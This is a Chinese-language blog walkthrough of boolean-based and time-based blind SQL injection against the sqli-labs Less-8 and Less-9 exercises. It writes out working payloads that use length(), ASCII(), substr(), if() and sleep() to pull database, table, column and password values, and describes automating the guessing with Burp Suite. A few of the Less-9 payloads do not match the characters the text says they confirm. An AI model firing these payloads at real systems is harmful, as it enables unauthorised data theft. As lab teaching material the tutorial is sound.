【超详解】sql盲注中的布尔类型(Less-8)、时间类型的盲注(Less-9)

本博文仅用于信息安全防御教学,请遵守中华人民共和国网络安全法!!

SQL注入之盲注

  • 本博文仅用于信息安全防御教学,请遵守中华人民共和国网络安全法!!
    • 基于布尔类型的盲注(Less-8)
    • 基于时间类型的盲注(Less-9)

基于布尔类型的盲注(Less-8)

首先布尔类型只有两种状态:Ture和False

盲注的意思就是我们在网页端并不能看到它的回显,只能根据逻辑来进行判断语句是否执行成功

会用到的SQL函数:

length()用来获取字符串的长度

ASCII()用来获取字符串的ASCII码

substr(str,M,N)用来截取字符串
其中str为要截取的字符串、M为从第几个字符开始截取N为截多少个字符,例如substr(str,1,1)的意思就是从str中的第一个字符开始截取一个字符停止,相当于只截取str中的第一个字符.

首先我们在php代码里加上echo $sql语句,输出执行的sql语句,为了我们更方便的进行学习

我们首先输入id=1来看看语句正确的时候页面返回什么内容

【超详解】sql盲注中的布尔类型(Less-8)、时间类型的盲注(Less-9)_第1张图片
再看看如果语句正确但是没有对应的id,页面返回什么【超详解】sql盲注中的布尔类型(Less-8)、时间类型的盲注(Less-9)_第2张图片
1.我们得知,页面正确则返回You are in,如果页面不正确则什么也不返回。

相当于,逻辑为true时返回You are in… 逻辑为false时什么都不返回

2.因为我们看到执行的sql语句是用单引号进行闭合的,所以我们可以闭合单引号来构造我们的payload

然后我们首先来猜它有几个字段,order by 3页面返回正确
【超详解】sql盲注中的布尔类型(Less-8)、时间类型的盲注(Less-9)_第3张图片
order by 4的时候,页面返回false,则证明该表有三个字段
【超详解】sql盲注中的布尔类型(Less-8)、时间类型的盲注(Less-9)_第4张图片
接下来我们来猜数据库的名字,本来如果页面有回显的话,那么直接使用database()函数就可以返回当前数据库的名字,但是此题并没有回显位置
所以我们就要用到逻辑来判断数据库名字。

首先我们猜数据库名字的长度小于10,页面成功返回,说明我们的数据库名字小于10

SELECT * FROM users WHERE id='1'and (length(database())<10) --+

【超详解】sql盲注中的布尔类型(Less-8)、时间类型的盲注(Less-9)_第5张图片
然后我们大胆的猜想数据库名字的长度为8,结果页面返回正确,说明我们的猜想正确

SELECT * FROM users WHERE id='1'and (length(database())=8) -- ' LIMIT 0,1
在这里插入图片描述
接下来我们来猜数据库的具体名字通过ASCII码来判断,我们发现数据库名字的第一个字符的ASCII码小于120。

SELECT * FROM users WHERE id='1'and (ASCII(substr(database(),1,1))<120) --+
在这里插入图片描述
我们接下来继续缩小范围,发现它的ASCII码不小于115.

SELECT * FROM users WHERE id='1'and (ASCII(substr(database(),1,1))<115) --+
【超详解】sql盲注中的布尔类型(Less-8)、时间类型的盲注(Less-9)_第6张图片
然后我们大胆猜想它的ASCII码为115,发现页面返回正确,则证明它的第一个字符的ASCII码为115,经我们查表发现为字符s

SELECT * FROM users WHERE id='1'and (ASCII(substr(database(),1,1))=115) --+
【超详解】sql盲注中的布尔类型(Less-8)、时间类型的盲注(Less-9)_第7张图片
接下来我们其实可以一直重复上面操作直到完全猜出数据库的名字,但是这样实在是太费时间了,接下来我们用burp suite的爆破模块进行对数据库的猜解

我们首先在burp中设置好代理
【超详解】sql盲注中的布尔类型(Less-8)、时间类型的盲注(Less-9)_第8张图片
然后浏览器也要设置同样的代理,具体操作可以百度burpsuite如何设置代理

然后我们把拦截的流量发送到爆破模块,并且构造payload,把我们要遍历的数字加上变量符,然后开始爆破。
在这里插入图片描述
每次只需要改变截取第几个字符就行
在这里插入图片描述
然后我们发现只有当payload=101的时候与其他长度不一样,那就意味着我们的第二个字符的ASCII编码是101,也就是e
【超详解】sql盲注中的布尔类型(Less-8)、时间类型的盲注(Less-9)_第9张图片
然后我们爆破第三个字符,我们构造同样的payload在这里插入图片描述
发现当payload=99的时候,长度与其他相差很多
【超详解】sql盲注中的布尔类型(Less-8)、时间类型的盲注(Less-9)_第10张图片
即可证明第三个字符的ASCII码为99,也就是c

然后重复上述操作我们可以爆破出来名字是security这个数据库

接下来我们开始爆破数据表名,我们发现第一个表名字的第一个字符的ASCII码是小于115的

SELECT * FROM users WHERE id='1' and (ASCII(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))<115 --+

在这里插入图片描述

所以我们继续大胆猜想它的ASCII码为101,所以它的第一个数据表名字的第一个字符为e

SELECT * FROM users WHERE id='1' and (ASCII(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))=101 --+
在这里插入图片描述
接下来的操作我们仍然可以重复上述操作,但我们用burp来实现爆破
【超详解】sql盲注中的布尔类型(Less-8)、时间类型的盲注(Less-9)_第11张图片
我们发现当payload=109时,它的长度不同于其他,则第一张表名的第二个字符的ASCII码为109,所以这个字符为m

所以重复修改上述选择第几张表和截取字符的长度(加粗部分),即可得到所有的表名

id=1’ and (ASCII(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))=101 --+

最后我们爆破字段即可,方法与上述方法相同

SELECT * FROM users WHERE id='1' and (ASCII(substr((select id from users limit 0,1),1,1)))<101 --+

通过更改上述语句的截取长度和第几个id即可爆破出全部id

SELECT * FROM users WHERE id='1' and (ASCII(substr((select id from users limit 0,1),1,1)))<101 --+

通过更改上述语句的截取长度和第几个password即可爆破出全部password

具体操作我就不在赘述了,我们只要懂得,布尔注入最重要的是逻辑判断以后的页面回显和几个sql函数的应用,注入的语句和我们之前学的Less1里面的都一样

基于时间类型的盲注(Less-9)

时间盲注和布尔盲注实际上一样都没有回显(且逻辑真和假回显的
页面一样),所以所谓时间盲注,其实运用的是sleep函数的延迟来判断,我们所执行的SQL语句是否成功。
【超详解】sql盲注中的布尔类型(Less-8)、时间类型的盲注(Less-9)_第12张图片
在这里插入图片描述
所以我们常用到的函数是

ASCII()、substr()
sleep()让程序延迟执行
if语句,其中if语句的用法如下:
if(expr1,expr2,expr3)
如果expr1为true,则执行expr2,否则执行expr3

0x00
通过我们上图的分析,发现这是时间盲注且是单引号注入,所以我们将单引号闭合,运用sleep函数和if函数进行判断,并且注释掉多余的语句,来达到注入的目的

0x01
因为是时间注入,所以页面的回显一样,下面就不贴图了,如果语句执行失败就延迟5s执行

0x02
猜解数据库
我们猜数据库名字的第一个字符的ASCII码为110,发现程序延期执行5s,所以第一个字符的ASCII的码并不是110,然后我们用大小于来确定范围,从而得出数据库的第一个字符为s

SELECT * FROM users WHERE id='1' and if(ascii(substr(database(),1,1))=110,1,sleep(5)) --+

0x03
猜解数据表名
道理同上,通过猜解来确定范围,从而得出正确字符的ASCII码,然后对照ASCII码表来确定具体字符,经过我们确定security库的第一个数据表的第一个字符为e

SELECT * FROM users WHERE id='1' and if(ascii(substr((select table_schema from information_schema.tables where table_schema='security' limit 0,1),1,1))=116,1,sleep(5)) --+

0x04
猜解数据表字段
道理同上,通过猜解来确定范围,从而得出正确字符的ASCII码,然后对照ASCII码表来确定具体字符,经过我们确定user表字段的第一个字符为i

SELECT * FROM users WHERE id='1' and if(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=116,1,sleep(5)) --+
0x05
猜解数据表值
道理同上,通过猜解来确定范围,从而得出正确字符的ASCII码,然后对照ASCII码表来确定具体字符,经过我们确定user表字段id值的第一个字符

SELECT * FROM users WHERE id='1' and if(ascii(substr((select id from users limit 0,1),1,1))=116,1,sleep(5)) --+

至此我们的基于时间的盲注也到此结束了,其实相比基于布尔类型的盲注,它只是通过程序的执行时间来判断sql语句的执行正确与否,具体操作和基于布尔类型的盲注一样,所以就不过多进行赘述了。

当然上述操作爆破每一个字符的ASCII码,我们同样可以运用burp的爆破模块来进行,因为操作和上面一样,所以我也不过多赘述了

至此我们的基于布尔类型和时间的盲注就讲完了,如有不懂,可以私信博主或者评论。

你可能感兴趣的:(SQL注入)